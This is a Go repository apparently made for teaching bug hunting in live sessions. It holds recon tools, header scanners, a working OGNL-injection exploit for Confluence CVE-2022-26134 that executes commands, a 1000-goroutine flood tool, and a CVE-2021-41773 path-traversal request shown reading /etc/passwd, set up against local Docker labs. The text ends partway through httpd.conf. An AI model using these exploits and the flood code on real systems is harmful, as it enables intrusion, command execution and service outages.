├── .gitignore ├── README.md ├── clickjacking ├── main.go └── poc.html ├── cors ├── main.go └── poc.html ├── dependency_confusion ├── main.go └── package.json ├── dos └── main.go ├── go.mod ├── go.sum ├── ognl_injection ├── builder │ ├── Makefile │ └── docker-compose.yml └── main.go ├── path_traversal ├── CVE-2021-41773 │ ├── Dockerfile │ ├── README.md │ └── httpd.conf └── main.go ├── race_condition ├── main.go └── race_app │ ├── race_live │ ├── .idea │ │ ├── .gitignore │ │ ├── dataSources.xml │ │ ├── inspectionProfiles │ │ │ ├── Project_Default.xml │ │ │ └── profiles_settings.xml │ │ ├── misc.xml │ │ ├── modules.xml │ │ └── race_live.iml │ ├── manage.py │ ├── race_app │ │ ├── __init__.py │ │ ├── __pycache__ │ │ │ ├── __init__.cpython-310.pyc │ │ │ ├── admin.cpython-310.pyc │ │ │ ├── apps.cpython-310.pyc │ │ │ ├── models.cpython-310.pyc │ │ │ └── views.cpython-310.pyc │ │ ├── admin.py │ │ ├── apps.py │ │ ├── migrations │ │ │ ├── 0001_initial.py │ │ │ ├── __init__.py │ │ │ └── __pycache__ │ │ │ │ ├── 0001_initial.cpython-310.pyc │ │ │ │ └── __init__.cpython-310.pyc │ │ ├── models.py │ │ ├── tests.py │ │ └── views.py │ └── race_live │ │ ├── __init__.py │ │ ├── __pycache__ │ │ ├── __init__.cpython-310.pyc │ │ ├── settings.cpython-310.pyc │ │ ├── urls.cpython-310.pyc │ │ └── wsgi.cpython-310.pyc │ │ ├── asgi.py │ │ ├── settings.py │ │ ├── urls.py │ │ └── wsgi.py │ └── racy-django │ ├── .env │ ├── .gitignore │ ├── .idea │ ├── .gitignore │ ├── inspectionProfiles │ │ ├── Project_Default.xml │ │ └── profiles_settings.xml │ ├── misc.xml │ ├── modules.xml │ ├── racy-django.iml │ └── vcs.xml │ ├── config │ ├── django.env │ ├── mysql.env │ └── nginx.conf │ ├── docker-compose.yml │ └── project │ ├── Dockerfile │ ├── demo │ ├── __init__.py │ ├── admin.py │ ├── apps.py │ ├── migrations │ │ ├── 0001_initial.py │ │ └── __init__.py │ ├── models.py │ ├── urls.py │ └── views.py │ ├── manage.py │ ├── project │ ├── __init__.py │ ├── asgi.py │ ├── settings.py │ ├── urls.py │ └── wsgi.py │ ├── requirements.txt │ └── scripts │ ├── entrypoint.sh │ └── wait_for_mysql.py ├── recon ├── arvan │ ├── cdn_finder │ │ └── cdn_finder.go │ └── s3_bucket_enum │ │ └── ar_s3_enum.go ├── portscan │ └── portscanslow.go ├── portscanfast │ └── portscanfast.go └── portscannoauthdb │ └── main.go ├── s3bucket_takeover ├── README.md └── main.go ├── ssrf ├── example │ ├── service.py │ └── ssrf.py └── main.go └── subdomain_takeover └── main.go /.gitignore: -------------------------------------------------------------------------------- 1 | # Created by https://www.toptal.com/developers/gitignore/api/go,goland+all 2 | # Edit at https://www.toptal.com/developers/gitignore?templates=go,goland+all 3 | 4 | ### Go ### 5 | # If you prefer the allow list template instead of the deny list, see community template: 6 | # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore 7 | # 8 | # Binaries for programs and plugins 9 | *.exe 10 | *.exe~ 11 | *.dll 12 | *.so 13 | *.dylib 14 | 15 | # Test binary, built with `go test -c` 16 | *.test 17 | 18 | # Output of the go coverage tool, specifically when used with LiteIDE 19 | *.out 20 | 21 | # Dependency directories (remove the comment below to include it) 22 | # vendor/ 23 | 24 | # Go workspace file 25 | go.work 26 | 27 | ### Go Patch ### 28 | /vendor/ 29 | /Godeps/ 30 | 31 | ### GoLand+all ### 32 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider 33 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 34 | 35 | # User-specific stuff 36 | .idea/**/workspace.xml 37 | .idea/**/tasks.xml 38 | .idea/**/usage.statistics.xml 39 | .idea/**/dictionaries 40 | .idea/**/shelf 41 | 42 | # AWS User-specific 43 | .idea/**/aws.xml 44 | 45 | # Generated files 46 | .idea/**/contentModel.xml 47 | 48 | # Sensitive or high-churn files 49 | .idea/**/dataSources/ 50 | .idea/**/dataSources.ids 51 | .idea/**/dataSources.local.xml 52 | .idea/**/sqlDataSources.xml 53 | .idea/**/dynamic.xml 54 | .idea/**/uiDesigner.xml 55 | .idea/**/dbnavigator.xml 56 | 57 | # Gradle 58 | .idea/**/gradle.xml 59 | .idea/**/libraries 60 | 61 | # Gradle and Maven with auto-import 62 | # When using Gradle or Maven with auto-import, you should exclude module files, 63 | # since they will be recreated, and may cause churn. Uncomment if using 64 | # auto-import. 65 | # .idea/artifacts 66 | # .idea/compiler.xml 67 | # .idea/jarRepositories.xml 68 | # .idea/modules.xml 69 | # .idea/*.iml 70 | # .idea/modules 71 | # *.iml 72 | # *.ipr 73 | 74 | # CMake 75 | cmake-build-*/ 76 | 77 | # Mongo Explorer plugin 78 | .idea/**/mongoSettings.xml 79 | 80 | # File-based project format 81 | *.iws 82 | 83 | # IntelliJ 84 | out/ 85 | 86 | # mpeltonen/sbt-idea plugin 87 | .idea_modules/ 88 | 89 | # JIRA plugin 90 | atlassian-ide-plugin.xml 91 | 92 | # Cursive Clojure plugin 93 | .idea/replstate.xml 94 | 95 | # SonarLint plugin 96 | .idea/sonarlint/ 97 | 98 | # Crashlytics plugin (for Android Studio and IntelliJ) 99 | com_crashlytics_export_strings.xml 100 | crashlytics.properties 101 | crashlytics-build.properties 102 | fabric.properties 103 | 104 | # Editor-based Rest Client 105 | .idea/httpRequests 106 | 107 | # Android studio 3.1+ serialized cache file 108 | .idea/caches/build_file_checksums.ser 109 | 110 | ### GoLand+all Patch ### 111 | # Ignore everything but code style settings and run configurations 112 | # that are supposed to be shared within teams. 113 | 114 | .idea/* 115 | 116 | !.idea/codeStyles 117 | !.idea/runConfigurations 118 | 119 | # End of https://www.toptal.com/developers/gitignore/api/go,goland+all -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Golang For Bug Hunting (Live) 2 | 3 | > In these two live sessions, I intended to teach how to write tools with `golang` for vulnerability hunting. 4 | 5 | ## Video by [@raminfp](https://github.com/raminfp) 6 | - `Part 1 (Persian language)` - https://www.youtube.com/watch?v=GY6vrAH_SuU 7 | - `Part 2 (Persian language)` - https://www.youtube.com/watch?v=KEMFi0V2zdM 8 | 9 | ## Code 10 | 11 | - `Recon` 12 | - [Port scan slow](https://github.com/ravro-ir/golang_bug_hunting/tree/main/recon/portscan) 13 | - [Port scan fast](https://github.com/ravro-ir/golang_bug_hunting/tree/main/recon/portscanfast) 14 | - [Port scan no auth database](https://github.com/ravro-ir/golang_bug_hunting/tree/main/recon/portscannoauthdb) 15 | - `Arvan Cloud` 16 | - [CDN Finder](https://github.com/ravro-ir/golang_bug_hunting/tree/main/recon/arvan/cdn_finder) 17 | - [S3 Bucket Enum](https://github.com/ravro-ir/golang_bug_hunting/tree/main/recon/arvan/s3_bucket_enum) 18 | - [Clickjacking](https://github.com/ravro-ir/golang_bug_hunting/tree/main/clickjacking) 19 | - [CORS](https://github.com/ravro-ir/golang_bug_hunting/tree/main/cors) 20 | - [DoS](https://github.com/ravro-ir/golang_bug_hunting/tree/main/dos) 21 | - [OGNL Injection - CVE-2022-26134](https://github.com/ravro-ir/golang_bug_hunting/tree/main/ognl_injection) 22 | - [Dependency Confusion](https://github.com/ravro-ir/golang_bug_hunting/tree/main/dependency_confusion) 23 | - [S3 Bucket Takeover](https://github.com/ravro-ir/golang_bug_hunting/tree/main/s3bucket_takeover) 24 | - [Subdomain Takeover](https://github.com/ravro-ir/golang_bug_hunting/tree/main/subdomain_takeover) 25 | - [Path Traversal - CVE-2021-41773](https://github.com/ravro-ir/golang_bug_hunting/tree/main/path_traversal) 26 | - [SSRF](https://github.com/ravro-ir/golang_bug_hunting/tree/main/ssrf) 27 | - [Race Condition](https://github.com/ravro-ir/golang_bug_hunting/tree/main/race_condition) 28 | 29 | 30 | I hope enjoy,
31 | Thanks, Ramin 32 | -------------------------------------------------------------------------------- /clickjacking/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "log" 7 | "net/http" 8 | ) 9 | 10 | func HttpGet(url string) { 11 | req, err := http.NewRequest("GET", url, nil) 12 | if err != nil { 13 | panic(err) 14 | } 15 | client := new(http.Client) 16 | response, err := client.Do(req) 17 | if err != nil { 18 | log.Fatal(err) 19 | } 20 | if response.Header.Get("x-frame-options") == "" { 21 | fmt.Println("[+++] This site potential clickjacking vuls.") 22 | } else { 23 | fmt.Println("[+++] This site is not clickjacking vuls.") 24 | } 25 | } 26 | 27 | func main() { 28 | domain := flag.String("domain", "", "Please add your domain address for scanning ...") 29 | flag.Parse() 30 | flag.VisitAll(func(f *flag.Flag) { 31 | ipValue := f.Value.String() 32 | if ipValue == "" { 33 | log.Fatal("Error : please add domain address") 34 | } 35 | }) 36 | HttpGet(*domain) 37 | 38 | } 39 | -------------------------------------------------------------------------------- /clickjacking/poc.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | PoC 5 | 6 | 7 | 27 | 28 |

clickjacking vulnerability

29 |

Let's go ...

30 | 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /cors/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "log" 7 | "net/http" 8 | ) 9 | 10 | func HttpGet(url string) { 11 | req, err := http.NewRequest("GET", url, nil) 12 | if err != nil { 13 | panic(err) 14 | } 15 | client := new(http.Client) 16 | response, err := client.Do(req) 17 | if err != nil { 18 | log.Fatal(err) 19 | } 20 | if response.Header.Get("access-control-allow-origin") == "*" { 21 | fmt.Println("[+++] This site potential CORS vuls.") 22 | } else { 23 | fmt.Println("[+++] This site is not CORS vuls.") 24 | } 25 | } 26 | 27 | func main() { 28 | domain := flag.String("domain", "", "Please add your domain address for scanning ...") 29 | flag.Parse() 30 | flag.VisitAll(func(f *flag.Flag) { 31 | ipValue := f.Value.String() 32 | if ipValue == "" { 33 | log.Fatal("Error : please add domain address") 34 | } 35 | }) 36 | HttpGet(*domain) 37 | 38 | } 39 | -------------------------------------------------------------------------------- /cors/poc.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | poc 5 | 6 | 7 |

CORS POC

8 | 9 | 10 | 11 | 12 | 23 | -------------------------------------------------------------------------------- /dependency_confusion/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "io/ioutil" 7 | "log" 8 | "net/http" 9 | "os" 10 | ) 11 | 12 | // https://example.com/package.json <=== URL fuzzing 13 | // supply chain attack 14 | 15 | type PackageJson struct { 16 | Name string `json:"name"` 17 | Version string `json:"version"` 18 | Description string `json:"description"` 19 | Main string `json:"main"` 20 | Scripts struct { 21 | Toc string `json:"toc"` 22 | } `json:"scripts"` 23 | Repository struct { 24 | Type string `json:"type"` 25 | Url string `json:"url"` 26 | } `json:"repository"` 27 | Author string `json:"author"` 28 | License string `json:"license"` 29 | Bugs struct { 30 | Url string `json:"url"` 31 | } `json:"bugs"` 32 | Homepage string `json:"homepage"` 33 | Dependencies struct { 34 | MarkdownToc string `json:"markdown-toc"` 35 | } `json:"dependencies"` 36 | } 37 | 38 | func OpenFile() string { 39 | 40 | jsonFile, err := os.Open("package.json") 41 | if err != nil { 42 | log.Fatalln(err) 43 | } 44 | defer func(jsonFile *os.File) { 45 | err := jsonFile.Close() 46 | if err != nil { 47 | log.Fatal(err) 48 | } 49 | }(jsonFile) 50 | byteValue, _ := ioutil.ReadAll(jsonFile) 51 | var result PackageJson 52 | err = json.Unmarshal([]byte(byteValue), &result) 53 | if err != nil { 54 | log.Fatal(err) 55 | } 56 | return result.Name 57 | 58 | } 59 | 60 | func HttpGet(url string) string { 61 | req, err := http.NewRequest("GET", url, nil) 62 | if err != nil { 63 | panic(err) 64 | } 65 | client := new(http.Client) 66 | response, err := client.Do(req) 67 | if err != nil { 68 | log.Fatal(err) 69 | } 70 | body, err := ioutil.ReadAll(response.Body) 71 | if err != nil { 72 | log.Fatal(err) 73 | } 74 | return string(body) 75 | } 76 | 77 | func main() { 78 | packageName := OpenFile() 79 | url := "https://www.npmjs.com/search/suggestions?q=%s" 80 | newUrl := fmt.Sprintf(url, packageName) 81 | out := HttpGet(newUrl) 82 | if len(out) == 2 { 83 | fmt.Println("[++++] Package doesn't avaliable in npm website, potential vuls deps conf") 84 | } else { 85 | fmt.Println("[----] Package does exsit") 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /dependency_confusion/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "poc_ravro", 3 | "version": "1.0.0", 4 | "description": "Example version.", 5 | "main": "index.js", 6 | "scripts": { 7 | "toc": "markdown-toc -i --maxdepth 3 README.md" 8 | }, 9 | "repository": { 10 | "type": "git", 11 | "url": "git+https://github.com/example/package.json.git" 12 | }, 13 | "author": "", 14 | "license": "MIT", 15 | "bugs": { 16 | "url": "https://github.com/example/package.json/issues" 17 | }, 18 | "homepage": "https://github.com/example/package.json#readme", 19 | "dependencies": { 20 | "markdown-toc": "^1.2.0" 21 | } 22 | } -------------------------------------------------------------------------------- /dos/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "io/ioutil" 7 | "net/http" 8 | "strconv" 9 | "sync" 10 | ) 11 | 12 | const BASE_URL = "" 13 | const NUM_PARALLEL = 1000 14 | 15 | type result struct { 16 | bodyStr string 17 | err error 18 | } 19 | 20 | func HttpGet() (string, error) { 21 | 22 | req, err := http.NewRequest("GET", BASE_URL, nil) 23 | if err != nil { 24 | return "", err 25 | } 26 | client := &http.Client{} 27 | resp, err := client.Do(req) 28 | if err != nil { 29 | panic(err) 30 | } 31 | defer func(Body io.ReadCloser) { 32 | err := Body.Close() 33 | if err != nil { 34 | panic(err) 35 | } 36 | }(resp.Body) 37 | 38 | body, _ := ioutil.ReadAll(resp.Body) 39 | defer resp.Body.Close() 40 | bodyStr := string(body) 41 | return bodyStr, nil 42 | 43 | } 44 | 45 | func AsyncHttp(data []string) ([]string, error) { 46 | var wg sync.WaitGroup 47 | wg.Add(NUM_PARALLEL) 48 | resultCh := make(chan result) 49 | for i := 0; i < NUM_PARALLEL; i++ { 50 | go func() { 51 | for input := range data { 52 | fmt.Println("Counter request is : ", input) 53 | bodyStr, err := HttpGet() 54 | resultCh <- result{bodyStr, err} 55 | 56 | } 57 | wg.Done() 58 | }() 59 | } 60 | 61 | go func() { 62 | wg.Wait() 63 | close(resultCh) 64 | }() 65 | results := []string{} 66 | for reslt := range resultCh { 67 | if reslt.err != nil { 68 | return nil, reslt.err 69 | } 70 | results = append(results, reslt.bodyStr) 71 | } 72 | 73 | return results, nil 74 | } 75 | 76 | func main() { 77 | 78 | data := []string{} 79 | for i := 1; i <= 100000; i++ { 80 | data = append(data, strconv.Itoa(i)) 81 | } 82 | myresult, err := AsyncHttp(data) 83 | if err != nil { 84 | fmt.Println(err) 85 | return 86 | } 87 | for _, res := range myresult { 88 | fmt.Println(res) 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module ravro_live_golang 2 | 3 | go 1.18 4 | 5 | require ( 6 | github.com/miekg/dns v1.1.50 7 | mvdan.cc/xurls/v2 v2.4.0 8 | ) 9 | 10 | require ( 11 | golang.org/x/mod v0.4.2 // indirect 12 | golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985 // indirect 13 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c // indirect 14 | golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2 // indirect 15 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect 16 | ) 17 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= 2 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 3 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 4 | github.com/miekg/dns v1.1.50 h1:DQUfb9uc6smULcREF09Uc+/Gd46YWqJd5DbpPE9xkcA= 5 | github.com/miekg/dns v1.1.50/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME= 6 | github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= 7 | github.com/rogpeppe/go-internal v1.8.1/go.mod h1:JeRgkft04UBgHMgCIwADu4Pn6Mtm5d4nPKWu0nJ5d+o= 8 | github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= 9 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 10 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 11 | golang.org/x/mod v0.4.2 h1:Gz96sIWK3OalVv/I/qNygP42zyoKp3xptRVCWRFEBvo= 12 | golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= 13 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 14 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 15 | golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= 16 | golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985 h1:4CSI6oo7cOjJKajidEljs9h+uP0rRZBPPPhcCbj5mw8= 17 | golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 18 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 19 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ= 20 | golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 21 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 22 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 23 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 24 | golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 25 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 26 | golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 27 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c h1:F1jZWGFhYfh0Ci55sIpILtKKK8p3i2/krTr0H1rg74I= 28 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 29 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 30 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 31 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 32 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 33 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 34 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 35 | golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2 h1:BonxutuHCTL0rBDnZlKjpGIQFTjyUVTexFOdWkB6Fg0= 36 | golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= 37 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 38 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 39 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE= 40 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 41 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 42 | gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= 43 | mvdan.cc/xurls/v2 v2.4.0 h1:tzxjVAj+wSBmDcF6zBB7/myTy3gX9xvi8Tyr28AuQgc= 44 | mvdan.cc/xurls/v2 v2.4.0/go.mod h1:+GEjq9uNjqs8LQfM9nVnM8rff0OQ5Iash5rzX+N1CSg= 45 | -------------------------------------------------------------------------------- /ognl_injection/builder/Makefile: -------------------------------------------------------------------------------- 1 | up: 2 | @echo Starting Docker images... 3 | docker-compose up -d 4 | @echo Docker images started! 5 | 6 | 7 | ## down: stop docker compose 8 | down: 9 | @echo Stopping docker compose... 10 | docker-compose down 11 | @echo Done! 12 | -------------------------------------------------------------------------------- /ognl_injection/builder/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | services: 3 | web: 4 | image: vulhub/confluence:7.13.6 5 | ports: 6 | - "8090:8090" 7 | depends_on: 8 | - db 9 | db: 10 | image: postgres:12.8-alpine 11 | environment: 12 | - POSTGRES_PASSWORD=postgres 13 | - POSTGRES_DB=confluence -------------------------------------------------------------------------------- /ognl_injection/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "errors" 5 | "flag" 6 | "fmt" 7 | "log" 8 | "net/http" 9 | ) 10 | 11 | func HttpGet(url string) { 12 | req, err := http.NewRequest("GET", url, nil) 13 | if err != nil { 14 | log.Fatal(err) 15 | } 16 | client := new(http.Client) 17 | client.CheckRedirect = func(req *http.Request, via []*http.Request) error { 18 | return errors.New("Redirect") 19 | } 20 | resp, err := client.Do(req) 21 | if err != nil { 22 | fmt.Println(resp.Header.Get("X-Cmd-Response")) 23 | } 24 | } 25 | 26 | func main() { 27 | 28 | payload := "%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22pwd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/" 29 | domain := flag.String("domain", "", "please add your domain") 30 | flag.Parse() 31 | if *domain == "" { 32 | fmt.Println("usage : main.go -domain=127.0.0.1") 33 | return 34 | } 35 | newDomain := *domain + payload 36 | HttpGet(newDomain) 37 | 38 | } 39 | -------------------------------------------------------------------------------- /path_traversal/CVE-2021-41773/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM httpd:2.4.49 2 | COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf 3 | -------------------------------------------------------------------------------- /path_traversal/CVE-2021-41773/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-41773 2 | CVE-2021-41773 POC with Docker 3 | 4 | ### Configuration 5 | To customize the `httpd.conf` file, change line `251` in the `` section from `Require all denied` to `Require all granted`. 6 | ``` 7 | 8 | AllowOverride none 9 | Require all granted 10 | 11 | ``` 12 | 13 | ### Create a Dockerfile in your project 14 | 15 | ``` 16 | FROM httpd:2.4.49 17 | COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf 18 | ``` 19 | 20 | Then, run the commands to build and run the Docker image: 21 | 22 | ``` 23 | $ docker build -t apache-pt . 24 | $ docker run -dit --name apache-pt-app -p 81:80 apache-pt 25 | ``` 26 | 27 | ### Exploit 28 | Send the following request using BurpSuite Repeater. 29 | 30 | ``` 31 | GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1 32 | Host: localhost:81 33 | User-Agent: Mozilla 34 | Connection: close 35 | 36 | 37 | ``` 38 | 39 | Response: 40 | 41 | ``` 42 | HTTP/1.1 200 OK 43 | Date: Wed, 06 Oct 2021 02:32:09 GMT 44 | Server: Apache/2.4.49 (Unix) 45 | Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT 46 | ETag: "39e-5cceec7356000" 47 | Accept-Ranges: bytes 48 | Content-Length: 926 49 | Connection: close 50 | 51 | root:x:0:0:root:/root:/bin/bash 52 | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 53 | bin:x:2:2:bin:/bin:/usr/sbin/nologin 54 | sys:x:3:3:sys:/dev:/usr/sbin/nologin 55 | sync:x:4:65534:sync:/bin:/bin/sync 56 | games:x:5:60:games:/usr/games:/usr/sbin/nologin 57 | man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 58 | lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 59 | mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 60 | news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 61 | uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 62 | proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 63 | www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 64 | backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 65 | list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 66 | irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 67 | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 68 | nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 69 | _apt:x:100:65534::/nonexistent:/usr/sbin/nologin 70 | 71 | ``` 72 | 73 | ### Patch revision 74 | The source code for Apache 2.4.49 (vulnerable) and Apache 2.4.50 (patched) can be downloaded respectively from: 75 | 76 | * https://dlcdn.apache.org//httpd/httpd-2.4.49.tar.gz 77 | * https://dlcdn.apache.org//httpd/httpd-2.4.50.tar.gz 78 | 79 | ``` 80 | $ wget https://dlcdn.apache.org//httpd/httpd-2.4.49.tar.gz 81 | $ wget https://dlcdn.apache.org//httpd/httpd-2.4.50.tar.gz 82 | ``` 83 | 84 | The vulnerability is found in the `/server/util.c` file at line `571` where validation is applied for payloads of type `/xx/../` but not for `/xx/.%2e/`. 85 | 86 | The difference between the vulnerable code and the patched code can be obtained with the command diff. 87 | ``` 88 | $ diff httpd-2.4.49/server/util.c httpd-2.4.50/server/util.c 89 | 505c505,506 90 | < apr_size_t l = 1, w = 1; 91 | --- 92 | > apr_size_t l = 1, w = 1, n; 93 | > int decode_unreserved = (flags & AP_NORMALIZE_DECODE_UNRESERVED) != 0; 94 | 532c533 95 | < if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) 96 | --- 97 | > if (decode_unreserved 98 | 570,571c571,581 99 | < /* Remove /xx/../ segments */ 100 | < if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) { 101 | --- 102 | > /* Remove /xx/../ segments (or /xx/.%2e/ when 103 | > * AP_NORMALIZE_DECODE_UNRESERVED is set since we 104 | > * decoded only the first dot above). 105 | > */ 106 | > n = l + 1; 107 | > if ((path[n] == '.' || (decode_unreserved 108 | > && path[n] == '%' 109 | > && path[++n] == '2' 110 | > && (path[++n] == 'e' 111 | > || path[n] == 'E'))) 112 | > && IS_SLASH_OR_NUL(path[n + 1])) { 113 | 588c598 114 | < l += 2; 115 | --- 116 | > l = n + 1; 117 | ``` 118 | -------------------------------------------------------------------------------- /path_traversal/CVE-2021-41773/httpd.conf: -------------------------------------------------------------------------------- 1 | # cat httpd.conf 2 | # 3 | # This is the main Apache HTTP server configuration file. It contains the 4 | # configuration directives that give the server its instructions. 5 | # See for detailed information. 6 | # In particular, see 7 | 